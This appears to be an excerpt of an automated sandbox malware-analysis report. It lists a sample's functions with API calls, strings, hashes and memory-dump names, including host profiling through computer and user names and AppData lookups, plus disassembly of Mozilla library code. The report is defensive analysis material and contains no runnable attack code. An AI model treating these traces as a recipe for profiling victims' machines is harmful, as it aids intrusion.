Opcode ID: ed6851ff4c485c187d2c52732e76979c527081a32224b6ad61a7fa6762ec1ef1
Instruction ID: d973dfb961019e46d1c9edde8b7bce2504340a4b27786a7326e93ab46d31d841
Opcode Fuzzy Hash: ed6851ff4c485c187d2c52732e76979c527081a32224b6ad61a7fa6762ec1ef1
Instruction Fuzzy Hash: 98018876900208A7C764FB60EC46EEE77BCAB54300F005594F689B7195EE75AAC8CB91

Function 00E210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00E210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00E210F7

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c0c89f757cb3d553bff01fc850b90dd438513d101ca93329d0760ce63f0b2c25
Instruction ID: 18ba0bbbce401c61d324b55fa0e26ca2331d6f51e6aee72c45b023a10f7aab7b
Opcode Fuzzy Hash: c0c89f757cb3d553bff01fc850b90dd438513d101ca93329d0760ce63f0b2c25
Instruction Fuzzy Hash: 9EF0E271641318BBE714AAA4AC49FABB7E8E705B15F302448F544F3280D572AF00CBA0

Function 00E38D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00E21B54,?,?,00E4564C,?,?,00E40E1F), ref: 00E38D9F

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2ae9f497b24cf17e39f6d48f4a877c170227022f567455b71f3de13af9d644dd
Instruction ID: eb0752f3cde2c8aae208851b9274e76e42c9472fdb5af78545ea0140d34db4ff
Opcode Fuzzy Hash: 2ae9f497b24cf17e39f6d48f4a877c170227022f567455b71f3de13af9d644dd
Instruction Fuzzy Hash: 6AF01571C00208EBCB04EFA4D6496DCBBB8EB10314F5091A9E8667B2C0DB345A85DB81

Function 00E38DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E38E0B

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3170f5abe93618c9af271048b49d42f41528b0200c66e6e26cc3d7cf836dc44f
Instruction ID: 583b6cb78101cc29103127b69d4bc2d131485f0e854f8422f3959fedcb23a271
Opcode Fuzzy Hash: 3170f5abe93618c9af271048b49d42f41528b0200c66e6e26cc3d7cf836dc44f
Instruction Fuzzy Hash: 49E01231A4034C6BDB91EB50CC96FAD777C9B44B01F004295BA0C6B1C0DE70AB858B91

Function 00E21190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37910
Part of subcall function 00E378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E37917
Part of subcall function 00E378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00E3792F

Part of subcall function 00E37850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E211B7), ref: 00E37880
Part of subcall function 00E37850: RtlAllocateHeap.NTDLL(00000000), ref: 00E37887
Part of subcall function 00E37850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E3789F

ExitProcess.KERNEL32 ref: 00E211C6

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: d9f5d5b86cc9641ac56240f37dce94cc2b1ef3380d6de2014fded8860ab13c9e
Instruction ID: cdb6c5e3579a8898c77c6f3fe25591272e2ae433b8a385a72f739d18f092e208
Opcode Fuzzy Hash: d9f5d5b86cc9641ac56240f37dce94cc2b1ef3380d6de2014fded8860ab13c9e
Instruction Fuzzy Hash: E4E012B5A1431997CA2473B4BD0EB2A3ADC5B64349F042425FA85F3112FA6AF910C665

Non-executed Functions

Function 6CAE5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAE5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE54BE
__Init_thread_footer.LIBCMT ref: 6CAE54DB

Part of subcall function 6CB0AB3F: EnterCriticalSection.KERNEL32(6CB5E370,?,?,6CAD3527,6CB5F6CC,?,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB49
Part of subcall function 6CB0AB3F: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD3527,6CB5F6CC,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0AB7C

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

GetCurrentThreadId.KERNEL32 ref: 6CAE54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAE5516
GetCurrentThreadId.KERNEL32 ref: 6CAE556A
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAE5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAE5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAE5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAE55E6
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAE5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE5616

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

GetCurrentThreadId.KERNEL32 ref: 6CAE563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAE5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAE567C
free.MOZGLUE(?), ref: 6CAE56AE

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAE56E8
GetCurrentThreadId.KERNEL32 ref: 6CAE5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAE570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAE5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAE574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAE576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAE5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAE57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAE57CA

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAE54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAE5C56
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAE5D2B
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAE5749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAE54B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAE57C5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAE5D1C
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAE5D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAE57AE
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAE5CF9
MOZ_PROFILER_STARTUP, xrefs: 6CAE55E1
GeckoMain, xrefs: 6CAE5554, 6CAE55D5
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAE5791
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAE56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAE5AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAE5766
MOZ_BASE_PROFILER_HELP, xrefs: 6CAE5511
[I %d/%d] profiler_init, xrefs: 6CAE564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAE584E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAE5D01
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAE5717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAE5BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAE5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAE5B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAE548D

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 51cd60b8bb6176456f20ea3eb0d33e9a117ee55b0a1b91f56571321e10b4c88b
Instruction ID: 4114c2996a2e754869f2efee0f4bd50674575deb398cb4660d54315b1e3d8636
Opcode Fuzzy Hash: 51cd60b8bb6176456f20ea3eb0d33e9a117ee55b0a1b91f56571321e10b4c88b
Instruction Fuzzy Hash: A2224974A043809FEB00AF75E45426EB7F5EF4A35CF884929E84697B41EB30C498DB93

Function 6CAE6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAE6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAE6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAE6D26

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAE6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAE6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAE6D73
free.MOZGLUE(00000000), ref: 6CAE6D80
CertGetNameStringW.CRYPT32 ref: 6CAE6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAE6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAE6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAE6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAE6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAE6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAE6E34
CreateFileW.KERNEL32 ref: 6CAE6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAE6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAE6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAE709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAE7103
free.MOZGLUE(00000000), ref: 6CAE7153
CloseHandle.KERNEL32(?), ref: 6CAE7176
__Init_thread_footer.LIBCMT ref: 6CAE7209
__Init_thread_footer.LIBCMT ref: 6CAE723A
__Init_thread_footer.LIBCMT ref: 6CAE726B
__Init_thread_footer.LIBCMT ref: 6CAE729C
__Init_thread_footer.LIBCMT ref: 6CAE72DC
__Init_thread_footer.LIBCMT ref: 6CAE730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAE73C2
VerSetConditionMask.NTDLL ref: 6CAE73F3
VerSetConditionMask.NTDLL ref: 6CAE73FF
VerSetConditionMask.NTDLL ref: 6CAE7406
VerSetConditionMask.NTDLL ref: 6CAE740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAE741A
moz_xmalloc.MOZGLUE(?), ref: 6CAE755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAE7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAE7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAE7598
free.MOZGLUE(00000000), ref: 6CAE75AC

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

Strings

wintrust.dll, xrefs: 6CAE72CD
(, xrefs: 6CAE768A
SHA256, xrefs: 6CAE6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CAE72C8

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 495f2f3b49940eaf1b14fe1a310dda1749d73f2eae72d1a8631c4a8422466c9f
Instruction ID: ef26cb055b5627317f628faab696308cdc4fa5b557dcbce092a2d2fd275f7cc7
Opcode Fuzzy Hash: 495f2f3b49940eaf1b14fe1a310dda1749d73f2eae72d1a8631c4a8422466c9f
Instruction Fuzzy Hash: 5052E4B1A003589BEB21DF64CC84BAAB7B8EF49718F144599E909D7641DB70AEC4CF90

Function 6CB10DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB10F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB10F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB10FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB10FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB11031
LeaveCriticalSection.KERNEL32(?), ref: 6CB110D0
EnterCriticalSection.KERNEL32(?), ref: 6CB1117D
